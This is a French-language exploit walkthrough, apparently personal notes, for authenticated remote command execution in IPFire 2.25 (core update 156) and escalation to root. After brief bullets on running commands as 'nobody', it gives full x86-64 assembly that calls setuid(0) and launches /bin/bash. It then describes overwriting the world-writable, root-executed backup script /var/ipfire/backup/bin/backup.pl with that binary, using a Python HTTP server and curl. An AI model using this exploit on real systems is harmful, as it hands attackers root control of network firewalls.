Ipfire 2-25 (core update 156) RCE authentifié

• le système exécute une commande lors de l'installation de n'importe quel paquet

• le système récupère 7zip à partir d'un simple html

• et vérifiez le répertoire tmp

• version 2.25 - core update 156

• ipfire permet d'exécuter des commandes système arbitraires en tant que nobody après connexion

Soyez root !

• vérifiez les binaires suid

• le programme de sauvegarde exécute un autre script. /var/ipfire/backup/bin/backup.pl (c'est un script bash et les permissions semblent bonnes)

• essayez d'écrire dans le script bash. (Aucune erreur. BON !)

• essayez de lancer bash

• oui. nous pouvons l'exécuter mais les privilèges sont limités. nous devons déclencher setuid(0) !
• enregistrez ceci et exécutez alti name.asm q
• alti est mon propre programme de vérification de compilation dans le dépôt soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• et écrivez le nouveau programme dans /var/ipfire/backup/bin/backup.pl. (nous pouvons utiliser un serveur http python et curl pour écrire)

• et profitez du shell root !